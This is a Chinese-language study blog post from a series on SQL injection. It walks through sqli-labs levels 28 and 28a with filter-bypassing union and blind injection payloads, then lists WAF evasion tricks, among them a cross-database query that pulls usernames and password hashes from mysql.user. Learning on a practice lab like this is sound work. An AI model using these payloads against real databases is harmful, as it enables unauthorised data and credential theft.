SQL注入基础学习7

三、sqli-labs的page-2

9、第28关
  • 查看页面源码,发现闭合方式为'),过滤的条件是注释符,空格,还有union和select连用

  • 开始实操(建议用vscode等工具写完可以将空格全部替换)

    先测试闭合方式是否正确
    ?id=0')%0aor%0a('1'='1
    页面显示正确
    
    测试回显位,union和select之间用%0a的话,无法绕过,试试其他的,%a0,%0b,等,经过测试,%a0和%0b都可以绕过
    ?id=0')%0aunion%0bselect%0a1,2,3%0aor('1'='1
    
    ?id=0')%0aunion%a0select%0a1,(select%0agroup_concat(table_name)%0afrom%0ainformation_schema.tables%0awhere%0atable_schema=database()),3%0aor%0a('1'='1
    
10、第28a关

这一关其实和28关一模一样,有回显,可以直接用联合注入,但是关卡上写的用盲注

payload如下

0')%0aand%0amid(database(),1,1)='s'%0aand%0a('1'='1

四、一些绕过技术

1、NULL值绕过

select\N; 代表null

2、引号绕过

如果waf拦截过滤单引号的时候,可以使用双引号,也可以将字符串转成16进制

3、添加库名绕过
  • 有些waf的拦截规则,并不会拦截[库名].[表名]这种模式

    select * from users where id=-1 union select 1,2,3 from users;
    select * from users where id=-1 union select 1,2,3 from security.users;
    
  • 跨库查询

    select * from users where id=-1 union select 1,User,Password from mysql.user;
    

4、反引号绕过

mysql可以使用反引号绕过一些waf拦截。字段可以加反引号或者不加,意义相同

posted @ 2023-08-25 17:51  凉城厌心  阅读(11)  评论(0编辑  收藏  举报